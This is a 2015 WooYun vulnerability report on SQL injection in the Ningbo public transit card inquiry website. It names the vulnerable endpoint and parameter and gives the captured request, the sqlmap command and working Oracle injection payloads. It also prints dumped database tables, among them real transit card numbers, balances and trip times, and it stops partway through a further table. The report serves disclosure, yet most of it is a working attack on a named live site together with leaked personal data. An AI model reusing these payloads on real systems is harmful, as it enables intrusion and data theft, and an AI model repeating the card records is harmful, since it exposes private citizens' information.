当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138843

漏洞标题：宁波市公交系统存在SQL注入漏洞可泄露大量公交卡信息

相关厂商：宁波市甬城通智能卡有限公司

漏洞作者： 路人甲

提交时间：2015-09-06 15:44

修复时间：2015-10-21 15:46

公开时间：2015-10-21 15:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

问题简介：该网站提供宁波市所有市民公交卡信息查询功能，多个参数过滤不严，导致泄露市民大量信息
产品简介：甬城通卡是针对不同人群发放的应用于公共交通领域的各类公交卡，主要分为普惠卡、特惠卡、高龄老人免费乘车卡、重度残疾人免费乘车卡（爱心卡）、离休干部免费乘车卡、城际通卡、宁波互联互通交通卡

详细说明：

0x01：Post注入，在提交表单的时候拦截下面一个请求，并保存为ceshi.txt

POST /card_xf.asp HTTP/1.1
Host: www.0574ic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.0574ic.com/card_xf.asp
Cookie: ASPSESSIONIDQQQQBDBS=OGBKCKLDPOIEJACMJLONGLAM; CNZZDATA278493=cnzz_eid%3D13126362-1441260863-%26ntime%3D1441260863; CNZZDATA1533989=cnzz_eid%3D1971339308-1441257034-%26ntime%3D1441257034
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
kbh=111&Submit2=%B2%E9%D1%AF


0x02:证明存在性：

sqlmap.py -r ceshi.txt --dbs


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: kbh (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: kbh=111' AND 5304=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (5304=5304) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'OBiv'='OBiv&Submit2=%B2%E9%D1%AF
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: kbh=111' UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(113)||CHR(106)||CHR(118)||CHR(112)||CHR(113)||CHR(100)||CHR(114)||CHR(83)||CHR(107)||CHR(109)||CHR(114)||CHR(114)||CHR(116)||CHR(113)||CHR(77)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113),NULL,NULL,NULL FROM DUAL-- &Submit2=%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Oracle
available databases [8]:
[*] BALANCE
[*] CTXSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS


0x03：泄露大量信息，证明其危害性

Database: MDSYS
Table: SDO_DATUMS
[118 entries]
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+
| NAME                        | SHIFT_Z | SHIFT_X | SHIFT_Y | ROTATE_X | ROTATE_Y | ROTATE_Z | SCALE_ADJUST |
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+
| Adindan                     | 206     | -162    | -12     | 0        | 0        | 0        | 0            |
| Afgooye                     | 45      | -43     | -163    | 0        | 0        | 0        | 0            |
| Ain el Abd 1970             | -2      | -150    | -251    | 0        | 0        | 0        | 0            |
| Anna 1 Astro 1965           | 435     | -491    | -22     | 0        | 0        | 0        | 0            |
| Arc 1950                    | -294    | -143    | -90     | 0        | 0        | 0        | 0            |
| Arc 1960                    | -300    | -160    | -8      | 0        | 0        | 0        | 0            |
| Ascension Island 1958       | 52      | -207    | 107     | 0        | 0        | 0        | 0            |
| Astro Beacon E              | -272    | 145     | 75      | 0        | 0        | 0        | 0            |
| Astro B4 Sorol Atoll        | -333    | 114     | -116    | 0        | 0        | 0        | 0            |
| Astro DOS 71/4              | -494    | -320    | 550     | 0        | 0        | 0        | 0            |
| Astronomic Station 1952     | -25     | 124     | -234    | 0        | 0        | 0        | 0            |
| Australian Geodetic 1966    | 148     | -133    | -48     | 0        | 0        | 0        | 0            |
| Australian Geodetic 1984    | 149     | -134    | -48     | 0        | 0        | 0        | 0            |
| Bellevue (IGN)              | 472     | -127    | -769    | 0        | 0        | 0        | 0            |
| Bermuda 1957                | 296     | -73     | 213     | 0        | 0        | 0        | 0            |
| Bogota Observatory          | -318    | 307     | 304     | 0        | 0        | 0        | 0            |
| Campo Inchauspe             | 90      | -148    | 136     | 0        | 0        | 0        | 0            |
| Canton Astro 1966           | -375    | 298     | -304    | 0        | 0        | 0        | 0            |
| Cape                        | -292    | -136    | -108    | 0        | 0        | 0        | 0            |
| Cape Canaveral              | 181     | -2      | 150     | 0        | 0        | 0        | 0            |
| Carthage                    | 431     | -263    | 6       | 0        | 0        | 0        | 0            |
| Chatham 1971                | 113     | 175     | -38     | 0        | 0        | 0        | 0            |
| Chua Astro                  | -29     | -134    | 229     | 0        | 0        | 0        | 0            |
| Corrego Alegre              | -6      | -206    | 172     | 0        | 0        | 0        | 0            |
| Djakarta (Batavia)          | -50     | -377    | 681     | 0        | 0        | 0        | 0            |
| DOS 1968                    | -752    | 230     | -199    | 0        | 0        | 0        | 0            |
| Easter Island 1967          | 111     | 211     | 147     | 0        | 0        | 0        | 0            |
| European 1950               | -121    | -87     | -98     | 0        | 0        | 0        | 0            |
| European 1979               | -119    | -86     | -98     | 0        | 0        | 0        | 0            |
| Gandajika Base              | 50      | -133    | -321    | 0        | 0        | 0        | 0            |
| Geodetic Datum 1949         | 209     | 84      | -22     | 0        | 0        | 0        | 0            |
| GRS 67                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| GRS 80                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| Guam 1963                   | 259     | -100    | -248    | 0        | 0        | 0        | 0            |
| GUX 1 Astro                 | -751    | 252     | -209    | 0        | 0        | 0        | 0            |
| Hito XVIII 1963             | 93      | 16      | 196     | 0        | 0        | 0        | 0            |
| Hjorsey 1955                | -86     | -73     | 46      | 0        | 0        | 0        | 0            |
| Hong Kong 1963              | -189    | -156    | -271    | 0        | 0        | 0        | 0            |
| Hu-Tzu-Shan                 | -201    | -634    | -549    | 0        | 0        | 0        | 0            |
| Indian (Thailand/Vietnam)   | 303     | 214     | 836     | 0        | 0        | 0        | 0            |
| Indian (Bangladesh, etc.)   | 257     | 289     | 734     | 0        | 0        | 0        | 0            |
| Ireland 1965                | 611     | 506     | -122    | 0        | 0        | 0        | 0            |
| ISTS 073 Astro 1969         | -229    | 208     | -435    | 0        | 0        | 0        | 0            |
| Johnston Island 1961        | -204    | 191     | -77     | 0        | 0        | 0        | 0            |
| Kandawala                   | 86      | -97     | 787     | 0        | 0        | 0        | 0            |
| Kerguelen Island            | 103     | 145     | -187    | 0        | 0        | 0        | 0            |
| Kertau 1948                 | 5       | -11     | 851     | 0        | 0        | 0        | 0            |
| L.C. 5 Astro                | 147     | 42      | 124     | 0        | 0        | 0        | 0            |
| Liberia 1964                | 88      | -90     | 40      | 0        | 0        | 0        | 0            |
| Luzon (Philippines)         | -51     | -133    | -77     | 0        | 0        | 0        | 0            |
| Luzon (Mindanao Island)     | -72     | -133    | -79     | 0        | 0        | 0        | 0            |
| Mahe 1971                   | -134    | 41      | -220    | 0        | 0        | 0        | 0            |
| Marco Astro                 | 60      | -289    | -124    | 0        | 0        | 0        | 0            |
| Massawa                     | 60      | 639     | 405     | 0        | 0        | 0        | 0            |
| Merchich                    | 47      | 31      | 146     | 0        | 0        | 0        | 0            |
| Midway Astro 1961           | 1227    | 912     | -58     | 0        | 0        | 0        | 0            |
| Minna                       | 122     | -92     | -93     | 0        | 0        | 0        | 0            |
| Nahrwan (Masirah Island)    | 369     | -247    | -148    | 0        | 0        | 0        | 0            |
| Nahrwan (Un. Arab Emirates) | 381     | -249    | -156    | 0        | 0        | 0        | 0            |
| Nahrwan (Saudi Arabia)      | 482     | -231    | -196    | 0        | 0        | 0        | 0            |
| Naparima, BWI               | 172     | -2      | 374     | 0        | 0        | 0        | 0            |
| NAD 27 (Continental US)     | 176     | -8      | 160     | 0        | 0        | 0        | 0            |
| NAD 27 (Alaska)             | 172     | -5      | 135     | 0        | 0        | 0        | 0            |
| NAD 27 (Bahamas)            | 178     | -4      | 154     | 0        | 0        | 0        | 0            |
| NAD 27 (San Salvador)       | 165     | 1       | 140     | 0        | 0        | 0        | 0            |
| NAD 27 (Canada)             | 187     | -10     | 158     | 0        | 0        | 0        | 0            |
| NAD 27 (Canal Zone)         | 201     | 0       | 125     | 0        | 0        | 0        | 0            |
| NAD 27 (Caribbean)          | 178     | -7      | 152     | 0        | 0        | 0        | 0            |
| NAD 27 (Central America)    | 194     | 0       | 125     | 0        | 0        | 0        | 0            |
| NAD 27 (Cuba)               | 178     | -9      | 152     | 0        | 0        | 0        | 0            |
| NAD 27 (Greenland)          | 195     | 11      | 114     | 0        | 0        | 0        | 0            |
| NAD 27 (Mexico)             | 190     | -12     | 130     | 0        | 0        | 0        | 0            |
| NAD 27 (Michigan)           | 176     | -8      | 160     | 0        | 0        | 0        | 0            |
| NAD 83                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| Observatorio 1966           | 81      | -425    | -169    | 0        | 0        | 0        | 0            |
| Old Egyptian                | -13     | -130    | 110     | 0        | 0        | 0        | 0            |
| Old Hawaiian                | -181    | 61      | -285    | 0        | 0        | 0        | 0            |
| Oman                        | 224     | -346    | -1      | 0        | 0        | 0        | 0            |
| Ordinance Survey Great Brit | 431     | 375     | -111    | 0        | 0        | 0        | 0            |
| Pico de las Nieves          | 127     | -307    | -92     | 0        | 0        | 0        | 0            |
| Pitcairn Astro 1967         | 42      | 185     | 165     | 0        | 0        | 0        | 0            |
| Provisional South American  | -376    | -288    | 175     | 0        | 0        | 0        | 0            |
| Puerto Rico                 | -101    | 11      | 72      | 0        | 0        | 0        | 0            |
| Qatar National              | 22      | -128    | -283    | 0        | 0        | 0        | 0            |
| Qornoq                      | -189    | 164     | 138     | 0        | 0        | 0        | 0            |
| Reunion                     | -1262   | 94      | -948    | 0        | 0        | 0        | 0            |
| Rome 1940                   | 9       | -225    | -65     | 0        | 0        | 0        | 0            |
| Santo (DOS)                 | 84      | 170     | 42      | 0        | 0        | 0        | 0            |
| Sao Braz                    | 53      | -203    | 141     | 0        | 0        | 0        | 0            |
| Sapper Hill 1943            | 74      | -355    | 16      | 0        | 0        | 0        | 0            |
| Schwarzeck                  | -251    | 616     | 97      | 0        | 0        | 0        | 0            |
| South American 1969         | -41     | -57     | 1       | 0        | 0        | 0        | 0            |
| South Asia                  | -26     | 7       | -10     | 0        | 0        | 0        | 0            |
| Southeast Base              | 314     | -499    | -249    | 0        | 0        | 0        | 0            |
| Southwest Base              | -38     | -104    | 167     | 0        | 0        | 0        | 0            |
| Timbalai 1948               | -46     | -689    | 691     | 0        | 0        | 0        | 0            |
| Tokyo                       | 664     | -128    | 481     | 0        | 0        | 0        | 0            |
| Tristan Astro 1968          | -609    | -632    | 438     | 0        | 0        | 0        | 0            |
| Viti Levu 1916              | -36     | 51      | 391     | 0        | 0        | 0        | 0            |
| Wake-Eniwetok 1960          | -39     | 101     | 52      | 0        | 0        | 0        | 0            |
| WGS 60                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| WGS 66                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| WGS 72                      | 10      | 0       | 8       | 0        | 0        | 0        | 0            |
| WGS 84                      | 0       | 0       | 0       | 0        | 0        | 0        | 0            |
| Yacare                      | 37      | -155    | 171     | 0        | 0        | 0        | 0            |
| Zanderij                    | -358    | -265    | 120     | 0        | 0        | 0        | 0            |
| NTF (Greenwich meridian)    | 320     | -168    | -60     | 0        | 0        | 0        | 0            |
| European 1987               | -113    | -83     | -96     | 0        | 0        | 0        | 0            |
| Netherlands Bessel          | 478     | 593     | 26      | 0        | 0        | 0        | 0            |
| Belgium Hayford             | 129     | 81      | 120     | 0        | 0        | 0        | 0            |
| NWGL 10                     | 1       | -1      | 15      | 0        | 0        | 0        | 0            |
| RT 90 (Sweden)              | 568     | 498     | -36     | 0        | 0        | 0        | 0            |
| Lisboa (DLx)                | 105     | -303    | -62     | 0        | 0        | 0        | 0            |
| Melrica 1973 (D73)          | 37      | -223    | 110     | 0        | 0        | 0        | 0            |
| DHDN (Potsdam/Rauenberg)    | 414     | 582     | 105     | -1.04    | -.35     | 3.08     | 8.3          |
| Pulkovo 1942                | -94     | 24      | -123    | -.02     | .25      | .13      | 1.1          |
| NTF (Paris meridian)        | 320     | -168    | -60     | 0        | 0        | 0        | 0            |
| CH 1903 (Switzerland)       | 369.344 | 660.077 | 13.551  | .804816  | .577692  | .952236  | 5.66         |
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+


Database: BALANCE
Table: QY_XFJLK
[33 entries]
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
| KBH              | KLX | JLBZ | CSNK     | STAC     | RYBH   | XFSJ     | KSYE  | XFJE | ARBH | SJLX | XLBH   | DWBZ | SFJH   | DWBH | CLBZ | QCBH   | XFRQ                | DATEE               | SPAGE | OUTPC | SFILE | CARDNO     | BZXFRQ              | LISTNO       | FILELX | HYCODE | RPOSBH       | QSDATE              | POSVER | PSAMVER | CITYCODE | CLIENTNO | DEALCOUNT | POSDEALNO |
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
| 0003154000006413 | T   | 54   | 26F0A080 | BF69C96F | 003246 | 15:16:38 | 48.3  | 0    | 00   | 30   | 003010 | E0   | 040292 | 1040 | 09   | 048512 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 120   | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118198569 | WB     | 0000   | 315001021829 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0008      | 0000715A  |
| 0003154000017196 | T   | 54   | 457DA080 | 111C5B28 | 000000 | 08:03:18 | 100.7 | 1.2  | 00   | 30   | 001590 | E0   | 734210 | 7000 | 06   | 591152 | 2015-07-04 00:00:00 | 2015-07-04 00:00:00 | 1     | 0     | 2869  | 0000000000 | 2015-07-03 00:00:00 | 7G0034076077 | WB     | 0100   | 315001023856 | 2015-07-05 00:00:00 | 1015   | 01      | 3150     | 7000     | 0055      | 00008589  |
| 0003154000016560 | T   | 54   | F776A880 | 01FBA257 | 000000 | 15:59:12 | 36.7  | 1.2  | 00   | 30   | 001060 | E0   | 700289 | 7000 | 09   | 061336 | 2015-05-19 00:00:00 | 2015-05-20 00:00:00 | 1     | 0     | 2808  | 0000000000 | 2015-05-19 00:00:00 | 7G0030960583 | WB     | 0100   | 315001023046 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 7000     | 0002      | 000049BD  |
| 0003154000016206 | T   | 54   | 815EA180 | A67D9447 | 000000 | 12:23:16 | 1.4   | 1.2  | 00   | 30   | 001050 | E0   | 700402 | 7000 | 09   | 053200 | 2015-05-19 00:00:00 | 2015-05-20 00:00:00 | 1     | 0     | 2808  | 0000000000 | 2015-05-19 00:00:00 | 7G0030969596 | WB     | 0800   | 315001023216 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 7000     | 0029      | 0000300E  |
| 0003154000016958 | T   | 54   | B53FF0E0 | 5B0F65ED | 003289 | 07:11:58 | 8.2   | 0    | 00   | 30   | 000070 | E0   | 040400 | 1040 | 09   | 048311 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1     | 120   | 3494  | 0000000000 | 2015-05-20 00:00:00 | G00119334899 | WB     | 2600   | 315001021541 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 1000     | 001F      | 00008CDA  |
| 0003154000009516 | T   | 54   | 4685A880 | F058BA44 | 000000 | 15:07:50 | 85.6  | 1.2  | 00   | 30   | 001650 | E0   | 700188 | 7000 | 06   | 657956 | 2015-05-23 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2870  | 0000000000 | 2015-05-23 00:00:00 | 7G0034089711 | WB     | 0100   | 315001023529 | 2015-07-06 00:00:00 | 1014   | 01      | 3150     | 7000     | 000F      | 000008B7  |
| 0003154000024705 | T   | 54   | DA8EA880 | 90A476B1 | 006133 | 17:09:53 | 92.2  | 1.2  | 00   | 30   | 008160 | E0   | 040591 | 1040 | 09   | 041851 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1     | 0     | 3580  | 0000000000 | 2015-08-14 00:00:00 | G00139894511 | WB     | 3901   | 315001021845 | 2015-08-15 00:00:00 | 1015   | 01      | 3150     | 1000     | 0056      | 0000CE69  |
| 0003154000017261 | T   | 54   | 2ED4A080 | D3DDE6D7 | 004917 | 12:55:43 | 32.8  | 1.2  | 00   | 30   | 008090 | E0   | 031055 | 1030 | 06   | 031662 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118254870 | WB     | 2201   | 315001008520 | 2015-05-17 00:00:00 | 0315   | 01      | 3150     | 1000     | 0005      | 00016FA5  |
| 0003154000016958 | T   | 54   | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7     | 1.2  | 00   | 30   | 003010 | E0   | 040582 | 1040 | 09   | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1     | 0     | 3494  | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB     | 1000   | 315001021991 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 1000     | 0020      | 00004D6B  |
| 0003154000012098 | T   | 54   | 21DBA280 | E46BD889 | 016342 | 16:40:45 | 33.4  | 1.2  | 00   | 30   | 009060 | E0   | 600184 | 6000 | 09   | 090611 | 2015-07-04 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2858  | 0000000000 | 2015-07-04 00:00:00 | 6G0004641859 | WB     | 0000   | 315001010365 | 2015-07-06 00:00:00 | 0315   | 01      | 3150     | 6000     | 0008      | 00004DA4  |
| 0003154000009227 | T   | 54   | 9A85A880 | 8C1C30D2 | 008349 | 17:03:28 | 100.9 | 1.2  | 00   | 30   | 000100 | E0   | 030766 | 1030 | 06   | 038058 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1     | 0     | 3496  | 0000000000 | 2015-05-22 00:00:00 | G00119822767 | WB     | 1100   | 315001021472 | 2015-05-25 00:00:00 | 1014   | 01      | 3150     | 1000     | 000B      | 000061BB  |
| 0003154000010464 | T   | 54   | 45B6A280 | EDD29B98 | 004108 | 12:13:38 | 35.2  | 0    | 00   | 30   | 005180 | E0   | 031041 | 1030 | 09   | 033139 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 120   | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118253139 | WB     | 2401   | 315001008439 | 2015-05-17 00:00:00 | 0314   | 01      | 3150     | 1000     | 0005      | 0001E538  |
| 0003154000009516 | T   | 54   | 4685A880 | F058BA44 | 000000 | 15:07:50 | 85.6  | 1.2  | 00   | 30   | 001650 | E0   | 700188 | 7000 | 06   | 657956 | 2015-05-23 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2870  | 0000000000 | 2015-05-23 00:00:00 | 7G0034089711 | WB     | 0100   | 315001023529 | 2015-07-06 00:00:00 | 1014   | 01      | 3150     | 7000     | 000F      | 000008B7  |
| 0003154000017261 | T   | 54   | 2ED4A080 | 2284A89A | 005715 | 14:16:50 | 31.6  | 1.2  | 00   | 30   | 003800 | E0   | 050050 | 1050 | 09   | 058710 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118264254 | WB     | 3000   | 315001022573 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0006      | 00007F14  |
| 0003154000006413 | T   | 54   | 26F0A080 | BF69C96F | 003246 | 15:16:38 | 48.3  | 0    | 00   | 30   | 003010 | E0   | 040292 | 1040 | 09   | 048512 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 120   | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118198569 | WB     | 0000   | 315001021829 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0008      | 0000715A  |
| 0003154000006272 | T   | 54   | 00000000 | EE72016C | 000000 | 16:22:32 | 68    | 0    | 00   | 30   | 000001 | E1   | 090413 | 0000 | 00   | 090413 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 368   | 0000000000 | 2015-05-17 00:00:00 | Q45058498761 | WB     | 0000   | 315001016018 | 2015-05-17 00:00:00 | 0000   | 00      | 3150     | 9100     | 0012      | 0000E6BD  |
| 0003154000048134 | T   | 54   | 7E8EA280 | 44B6142A | 006999 | 17:37:13 | 156.1 | 1.2  | 00   | 30   | 000060 | E0   | 040384 | 1040 | 09   | 048718 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1     | 0     | 3580  | 0000000000 | 2015-08-14 00:00:00 | G00139881617 | WB     | 3801   | 315001021791 | 2015-08-15 00:00:00 | 1015   | 01      | 3150     | 1000     | 001C      | 0000908C  |
| 0003154000004947 | T   | 54   | 1BBAA280 | 2EEA0ED8 | 006547 | 15:59:42 | 75.7  | 1.2  | 00   | 30   | 000090 | E0   | 030562 | 1030 | 09   | 031801 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1     | 0     | 3580  | 0000000000 | 2015-08-14 00:00:00 | G00139914883 | WB     | 0500   | 315001022023 | 2015-08-15 00:00:00 | 1015   | 01      | 3150     | 1000     | 0069      | 0000D4AB  |
| 0003154000016958 | T   | 54   | B53FF0E0 | 5B0F65ED | 003289 | 07:11:58 | 8.2   | 0    | 00   | 30   | 000070 | E0   | 040400 | 1040 | 09   | 048311 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1     | 120   | 3494  | 0000000000 | 2015-05-20 00:00:00 | G00119334899 | WB     | 2600   | 315001021541 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 1000     | 001F      | 00008CDA  |
| 0003154000016370 | T   | 54   | A62AD7C0 | F64AFDEB | 016367 | 10:39:07 | 107.6 | 1.2  | 00   | 30   | 009060 | E0   | 634432 | 6000 | 09   | 090630 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2858  | 0000000000 | 2015-07-04 00:00:00 | 6G0004648707 | WB     | 0801   | 315001024734 | 2015-07-06 00:00:00 | 1015   | 01      | 3150     | 6000     | 0021      | 000078E6  |
| 0003154000009227 | T   | 54   | 9A85A880 | E87C9416 | 007994 | 09:28:30 | 106.9 | 1.2  | 00   | 30   | 000100 | E0   | 030766 | 1030 | 06   | 038058 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1     | 0     | 3496  | 0000000000 | 2015-05-22 00:00:00 | G00119822679 | WB     | 2200   | 315001021472 | 2015-05-25 00:00:00 | 1014   | 01      | 3150     | 1000     | 0006      | 00006162  |
| 0003154000017394 | T   | 54   | DE9BF2E0 | 1E9D6B62 | 002595 | 15:39:23 | 31.3  | 1.2  | 00   | 30   | 005180 | E0   | 031020 | 1030 | 09   | 033128 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1     | 0     | 3496  | 0000000000 | 2015-05-22 00:00:00 | G00119845253 | WB     | 1400   | 315001008411 | 2015-05-25 00:00:00 | 0314   | 01      | 3150     | 1000     | 0008      | 00024431  |
| 0003154000016958 | T   | 54   | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7     | 1.2  | 00   | 30   | 003010 | E0   | 040582 | 1040 | 09   | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1     | 0     | 3494  | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB     | 1000   | 315001021991 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 1000     | 0020      | 00004D6B  |
| 0003154000023145 | T   | 54   | CC95A880 | 13F02CBB | 081225 | 13:27:03 | 48.5  | 1.2  | 00   | 30   | 007530 | E0   | 801057 | 8010 | 09   | 811019 | 2015-06-30 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2632  | 0000000000 | 2015-06-29 00:00:00 | 8G0022966366 | WB     | 4000   | 315001010211 | 2015-07-06 00:00:00 | 0315   | 01      | 3150     | 8000     | 005C      | 00008CE2  |
| 0003154000006272 | T   | 54   | 00000000 | 1245CB7B | 000000 | 16:46:53 | 64.2  | 3.8  | 00   | 30   | 000001 | E0   | 200418 | 0000 | 00   | 200418 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 368   | 0000000000 | 2015-05-17 00:00:00 | Q45058500108 | WB     | 0000   | 315001015783 | 2015-05-17 00:00:00 | 0000   | 00      | 3150     | 9100     | 0013      | 00004358  |
| 0003154000001265 | T   | 54   | C58BA280 | 6764CD9D | 016702 | 11:07:59 | 181.3 | 1.2  | 00   | 30   | 009060 | E0   | 634425 | 6000 | 09   | 090618 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2858  | 0000000000 | 2015-07-05 00:00:00 | 6G0004647304 | WB     | 1201   | 315001024742 | 2015-07-06 00:00:00 | 1014   | 01      | 3150     | 6000     | 0020      | 00006C55  |
| 0003154000000358 | T   | 54   | EE1DD7C0 | DA30EC3D | 003721 | 07:18:58 | 173.2 | 0    | 00   | 30   | 005280 | E0   | 030570 | 1030 | 09   | 038171 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 120   | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118188348 | WB     | 5301   | 315001022120 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0015      | 0000A2CE  |
| 0003154000000358 | T   | 54   | EE1DD7C0 | 911F158E | 008641 | 17:43:29 | 172   | 1.2  | 00   | 30   | 005280 | E0   | 030715 | 1030 | 06   | 038864 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118190568 | WB     | 0500   | 315001022140 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0017      | 000054C4  |
| 0003154000017394 | T   | 54   | DE9BF2E0 | 1E9D6B62 | 002595 | 15:39:23 | 31.3  | 1.2  | 00   | 30   | 005180 | E0   | 031020 | 1030 | 09   | 033128 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1     | 0     | 3496  | 0000000000 | 2015-05-22 00:00:00 | G00119845253 | WB     | 1400   | 315001008411 | 2015-05-25 00:00:00 | 0314   | 01      | 3150     | 1000     | 0008      | 00024431  |
| 0003154000017261 | T   | 54   | 2ED4A080 | 5D614788 | 005715 | 14:16:55 | 30.4  | 1.2  | 00   | 30   | 003800 | E0   | 050050 | 1050 | 06   | 058710 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1     | 0     | 3489  | 0000000000 | 2015-05-16 00:00:00 | G00118264255 | WB     | 3000   | 315001022573 | 2015-05-17 00:00:00 | 1014   | 01      | 3150     | 1000     | 0007      | 00007F15  |
| 0003154000028979 | T   | 54   | 00000000 | 90E979D3 | 000000 | 16:37:20 | 164.8 | 0    | 00   | 30   | 000001 | E1   | 140401 | 0000 | 00   | 140401 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 418   | 0000000000 | 2015-07-06 00:00:00 | Q45067376794 | WB     | 0000   | 315001015758 | 2015-07-06 00:00:00 | 0000   | 00      | 3150     | 9100     | 001F      | 0001B719  |
| 0003154000016958 | T   | 54   | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7     | 1.2  | 00   | 30   | 003010 | E0   | 040582 | 1040 | 09   | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1     | 0     | 3494  | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB     | 1000   | 315001021991 | 2015-05-21 00:00:00 | 1014   | 01      | 3150     | 1000     | 0020      | 00004D6B  |
| 0003154000016834 | T   | 54   | 7665A880 | E193E4EC | 000000 | 09:02:46 | 76.8  | 1.2  | 00   | 30   | 001060 | E0   | 700145 | 7000 | 09   | 061310 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1     | 0     | 2870  | 0000000000 | 2015-07-04 00:00:00 | 7G0034086322 | WB     | 0300   | 315001023038 | 2015-07-06 00:00:00 | 1015   | 01      | 3150     | 7000     | 00BB      | 00005E84  |
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
Database: BALANCE
Table: WD_SFBZK
[100 entries]
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+
